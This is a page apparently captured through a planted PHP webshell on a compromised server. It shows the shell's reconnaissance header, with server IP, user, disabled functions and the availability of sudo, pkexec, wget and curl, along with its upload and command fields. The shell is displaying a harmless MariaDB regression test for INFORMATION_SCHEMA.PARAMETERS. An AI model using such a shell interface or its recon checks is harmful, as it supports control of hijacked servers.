403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/main/information_schema_parameters.test
#------------------------------------------------------------------------------
# i_s_parameters.test
# .test file for MySQL regression suite
# Purpose:  To test the presence, structure, and behavior
#                    of INFORMATION_SCHEMA.PARAMETERS
# Author:  pcrews
# Last modified:  2007-12-03
#------------------------------------------------------------------------------

--source include/default_charset.inc

###############################################################################
# Testcase parameters.1: Verify INFORMATION_SCHEMA.PARAMETERS view has the
#                    following structure:
#  SPECIFIC_CATALOG                         NULL
#  SPECIFIC_SCHEMA                          routine's database
#  SPECIFIC_NAME                            routine's name
#  ORDINAL_POSITION                         first stored routine parameter is 1,
#                                           always 0 for stored function RETURN
#  PARAMETER_MODE                           'IN' or 'OUT' or 'INOUT'
#  PARAMETER_NAME                           the parameter's name
#  DATA_TYPE                                same as for COLUMNS
#  CHARACTER_MAXIMUM_LENGTH                 same as for COLUMNS
#  CHARACTER_OCTET_LENGTH                   same as for COLUMNS
#  CHARACTER_SET_NAME                       same as for COLUMNS
#  COLLATION_NAME                           same as for COLUMNS
#  NUMERIC_PRECISION                        same as for COLUMNS
#  NUMERIC_SCALE                            same as for COLUMNS
#  DTD_IDENTIFIER                           same as for PARAMETERS
###############################################################################
-- echo # ========== parameters.1 ==========
USE INFORMATION_SCHEMA;
--replace_result ENGINE=MyISAM "" ENGINE=MARIA "" ENGINE=Aria "" " PAGE_CHECKSUM=1" "" " PAGE_CHECKSUM=0" ""
SHOW CREATE TABLE INFORMATION_SCHEMA.PARAMETERS;

# embedded server does not display privileges
--replace_column 19 #
query_vertical SELECT * FROM information_schema.columns
WHERE table_schema = 'information_schema'
  AND table_name   = 'parameters'
ORDER BY ordinal_position;

DESCRIBE INFORMATION_SCHEMA.PARAMETERS;

###############################################################################
# Testcase parameters.2:  Unsuccessful stored procedure CREATE will not populate
#                     I_S.PARAMETERS view
###############################################################################
-- echo # ========== parameters.2 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

# Missing closing ')' character at the end of 's char(20) in func declaration
--error ER_PARSE_ERROR
CREATE FUNCTION test_func1 (s char(20) RETURNS CHAR(50)
RETURN CONCAT('Hello', ,s,'!');
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_func1';

###############################################################################
# Testcase parameters.3:  DROP FUNCTION - Verify DROP of a stored procedure
#                                     removes I_S.PARAMETERS data for that
#                                     function / procedure
###############################################################################
-- echo # ========== parameters.3 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

CREATE FUNCTION test_func1 (s char(20)) RETURNS CHAR(50)
RETURN CONCAT('Hello, ',s,'!');
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_func1';
DROP FUNCTION test_func1;
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_func1';

###############################################################################
# Testcase parameters.4:  CREATE PROCEDURE - IN
###############################################################################
-- echo # ========== parameters.4 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

delimiter //;
CREATE PROCEDURE testproc (IN param1 INT)
  BEGIN
   SELECT 2+2 as param1;
  END;
//
delimiter ;//
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'testproc';


###############################################################################
# Testcase parameters.5:  CREATE PROCEDURE - INOUT
###############################################################################
-- echo # ========== parameters.5 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

CREATE PROCEDURE test_proc(INOUT P INT) SET @x=P*2;
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_proc';

###############################################################################
# Testcase parameters.6:  CREATE PROCEDURE - OUT
###############################################################################
-- echo # ========== parameters.6 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

CREATE PROCEDURE test_proc(OUT p VARCHAR(10)) SET P='test';
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_proc';

###############################################################################
# Testcase parameters.7:  CREATE FUNCTION - ORDINAL POSITION
#                     Verify proper behavior for several aspects here
#                     3 rows should be created -- 1 for each IN parameter
#                                                 1 for the RETURNS param
#                     ORDINAL POSITION values should be 0 for RETURNS
#                                             1 and 2 for IN parameters
#                     PARAM NAME and MODE should = NULL for RETURNS parm
###############################################################################
-- echo # ========== parameters.7 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

CREATE FUNCTION test_func1 (s char(20), t char(20)) RETURNS CHAR(40)
RETURN CONCAT(s,t);
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_func1';

###############################################################################
# Testcase parameters.8:  CREATE FUNCTION - CHAR parameters
#                     Verify CHAR related columns are populated for such a
#                     parameter -- NUMERIC columns should be NULL
###############################################################################
-- echo # ========== parameters.8 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

CREATE FUNCTION test_func1 (s char(20)) RETURNS CHAR(50)
RETURN CONCAT('Hello, ',s,'!');
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_func1';

###############################################################################
# Testcase parameters.9:  CREATE FUNCTION - NUMERIC parameters
#                     Verify NUMERIC related columns are populated for such
#                     parameter -- CHAR columns should be NULL
###############################################################################
-- echo # ========== parameters.9 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

CREATE FUNCTION test_func2 (s int) RETURNS INT RETURN s*2;
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_func2';

###############################################################################
# Testcase parameters.10:  CREATE FUNCTION - DATE
#                     Verify NUMERIC and CHAR related columns are NULL
###############################################################################
-- echo # ========== parameters.10 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

CREATE FUNCTION test_func5 (s date) RETURNS TIMESTAMP
RETURN CURRENT_TIMESTAMP;
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_func5';

###############################################################################
# Testcase parameters.11:  ALTER FUNCTION
#                     Quick check to ensure ALTER doesn't affect this view
#                     Should have no effect -- comment visible in ROUTINES
#                     tested in i_s_routines.test
###############################################################################
-- echo # ========== parameters.11 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

CREATE FUNCTION test_func5 (s date) RETURNS TIMESTAMP
RETURN CURRENT_TIMESTAMP;
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_func5';
ALTER FUNCTION test_func5 COMMENT 'new comment added';
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_func5';

###############################################################################
# Testcase parameters.12:  MULTI-BYTE CHAR SETS
#                     Verify that CHAR_MAX_LENGTH and CHAR_OCTET_LENGTH
#                     differ as expected for multi-byte char sets
#                     Normally both values are equal
###############################################################################
-- echo # ========== parameters.12 ==========
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test CHARACTER SET  utf8;
USE i_s_parameters_test;

CREATE FUNCTION test_func5 (s CHAR(20)) RETURNS VARCHAR(30)
RETURN CONCAT('XYZ, ' ,s);
SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test' AND SPECIFIC_NAME = 'test_func5';

# Cleanup
DROP DATABASE i_s_parameters_test;
USE test;


--echo #
--echo # Start of 10.3 tests
--echo #

--echo #
--echo # MDEV-15416 Crash when reading I_S.PARAMETERS
--echo #

DELIMITER $$;
CREATE PROCEDURE p1(a0 TYPE OF t1.a,
                    a1 TYPE OF test.t1.a,
                    b0 ROW TYPE OF t1,
                    b1 ROW TYPE OF test.t1,
                    c ROW(a INT,b DOUBLE))
BEGIN
END;
$$
DELIMITER ;$$
--vertical_results
SELECT *, '--------' FROM INFORMATION_SCHEMA.PARAMETERS WHERE SPECIFIC_NAME = 'p1';
--horizontal_results
DROP PROCEDURE p1;


--echo #
--echo # MDEV-20609 Full table scan in INFORMATION_SCHEMA.PARAMETERS/ROUTINES
--echo #
--disable_warnings
DROP DATABASE IF EXISTS i_s_parameters_test;
--enable_warnings

CREATE DATABASE i_s_parameters_test;
USE i_s_parameters_test;

CREATE FUNCTION test_func5 (s CHAR(20)) RETURNS VARCHAR(30)
  RETURN CONCAT('XYZ, ' ,s);

--let count_routines = `select count(*) from information_schema.routines`

--echo #
--echo # We cannot use the index due to missing condition on SPECIFIC_SCHEMA,
--echo # but we will use SPECIFIC_NAME for filtering records from mysql.proc
FLUSH STATUS;
--disable_cursor_protocol
--disable_ps2_protocol
query_vertical SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
  WHERE SPECIFIC_NAME = 'test_func5';
--enable_ps2_protocol
--enable_cursor_protocol
--replace_result $count_routines count_routines
SHOW STATUS LIKE 'handler_read%next';

--echo #
--echo # We cannot use the index due to CONCAT(), and filtering by SPECIFIC_NAME
--echo # does not work either since SPECIFIC_NAME = 'not_existing_proc'. See
--echo # the difference in counters in comparison to the previous test
--disable_cursor_protocol
--disable_ps2_protocol
FLUSH STATUS;
query_vertical SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
  WHERE CONCAT(SPECIFIC_SCHEMA) = 'i_s_parameters_test'
  AND SPECIFIC_NAME = 'not_existing_proc';
--replace_result $count_routines count_routines
SHOW STATUS LIKE 'handler_read%next';
--echo #
--echo # Now the index must be used
FLUSH STATUS;
query_vertical SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
  WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test'
  AND SPECIFIC_NAME = 'test_func5';
SHOW STATUS LIKE 'handler_read%next';

--echo #
--echo # Using the first key part of the index
FLUSH STATUS;
query_vertical SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
  WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test';
SHOW STATUS LIKE 'handler_read%next';

--echo #
--echo # Test non-latin letters in procedure name
SET NAMES koi8r;
CREATE PROCEDURE `процедурка`(a INT) SELECT a;
--echo #
--echo # The index must be used
FLUSH STATUS;
query_vertical SELECT * FROM INFORMATION_SCHEMA.PARAMETERS
  WHERE SPECIFIC_SCHEMA = 'i_s_parameters_test'
  AND SPECIFIC_NAME = 'процедурка';
SHOW STATUS LIKE 'handler_read%next';
--enable_ps2_protocol
--enable_cursor_protocol

--replace_column 1 #
SELECT COUNT(*) FROM information_schema.PARAMETERS
  WHERE SPECIFIC_CATALOG = NULL;

# Cleanup
DROP DATABASE i_s_parameters_test;
USE test;

Youez - 2016 - github.com/yon3zu
LinuXploit